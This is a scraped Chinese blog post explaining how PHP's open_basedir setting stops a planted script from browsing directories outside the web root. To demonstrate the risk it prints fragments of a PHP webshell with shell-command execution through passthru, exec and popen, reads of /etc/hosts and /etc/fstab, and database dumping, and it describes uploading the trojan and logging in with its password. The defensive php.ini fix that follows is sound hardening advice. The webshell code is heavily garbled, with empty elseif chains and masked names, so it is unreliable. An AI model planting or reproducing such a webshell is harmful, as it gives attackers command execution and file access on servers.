php open basedir設定防止跨站

通過在**掛馬，進入到php的目錄，如果php開啟了scandir方法的話，可以直接通過目錄一級一級的像上面進入，此操作會造成很大的風險。

下面給出php的木馬檔案

p('獲得外掛程式

');formfooter();

}//end eval

elseif ($act == 'editfile') //end editfile

elseif ($act == 'newtime') //end newtime

elseif ($act == 'shell') //end shell

elseif ($act == 'phpenv') //end phpenv

elseif ($act == 'secinfo')

secparam('userful',implode(', ',$temp));

$temp=array();

foreach($danger as $item)

if(which($item))

secparam('danger',implode(', ',$temp));

$temp=array();

foreach($**********s as $item)

if(which($item))

secparam('**********s',implode(', ',$temp));

secparam('hosts',@file_get_contents('/etc/hosts'));

secparam('hddspace', execute('df -h'));

secparam('mountoptions', @file_get_contents('/etc/fstab'));

}else //end

else elseif(function_exists('passthru')) elseif(function_exists('shell_exec')) elseif(function_exists('exec')) elseif(@is_resource($f = @popen($cfe,"r"))) elseif (!is_writable($f)) else

elseif(($mode & 0x4000) === 0x4000)

elseif(($mode & 0xa000) === 0xa000)

elseif(($mode & 0x8000) === 0x8000)

elseif(($mode & 0x6000) === 0x6000)

elseif(($mode & 0x2000) === 0x2000)

elseif(($mode & 0x1000) === 0x1000)

else

$owner['read']= ($mode & 00400) ? 'r' : '-';

$owner['write']= ($mode & 00200) ? 'w' : '-';

$owner['execute']= ($mode & 00100) ? 'x' : '-';

$group['read']= ($mode & 00040) ? 'r' : '-';

$group['write']= ($mode & 00020) ? 'w' : '-';

$group['execute']= ($mode & 00010) ? 'x' : '-';

$world['read']= ($mode & 00004) ? 'r' : '-';

$world['write']= ($mode & 00002) ? 'w' : '-';

$world['execute']= ($mode & 00001) ? 'x' : '-';

if($mode & 0x800 )

if($mode & 0x400 )

if($mode & 0x200 )

return$type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];

function getuser($file) elseif(is_file($c.$f)) else else else elseif ($result == 1) else else else else else if(is_resource($res)) else else elseif (strpos($tabledump, "(\n ")) elseif (strpos($tabledump, "(\r ")) else elseif ($fields_meta[$j]->numeric && $fields_meta[$j]->type !='timestamp' && !$fields_meta[$j]->blob) elseif ($fields_meta[$j]->blob) else else else {

echo$tabledump;

$this->free_result($rows);

將上面的php檔案掛到web下面，輸入密碼（密碼在php的配置檔案中已經寫好），就可以進入到web目錄下面去了。

如此發現可以進行跨站的操作了。

如果我們想禁止這些操作，將使用者的操作目錄限制在某個下面，可以在php的配置檔案中實現此操作

[host=www.abc.com]

open_basedir=/path/for/web:/var/lib/php/session(php的session目錄):/tmp

[path=/path/for/web]

open_basedir=/path/for/web:/var/lib/php/session:/tmp

限制的目錄可以是多個，多個目錄之間利用冒號進行分隔開，之後重啟php可以了。重新訪問掛的木馬檔案，發現此時不能再向上級目錄進行訪問了，也就是我們的操作被所在了opendir的目錄下面了。

php open basedir設定防止跨站

android layout weight設定解讀

Android RecyclerView設定空布局

Capacity Scheduler 佇列設定

php open basedir設定防止跨站

android layout weight設定解讀

Android RecyclerView設定空布局

Capacity Scheduler 佇列設定

相關推薦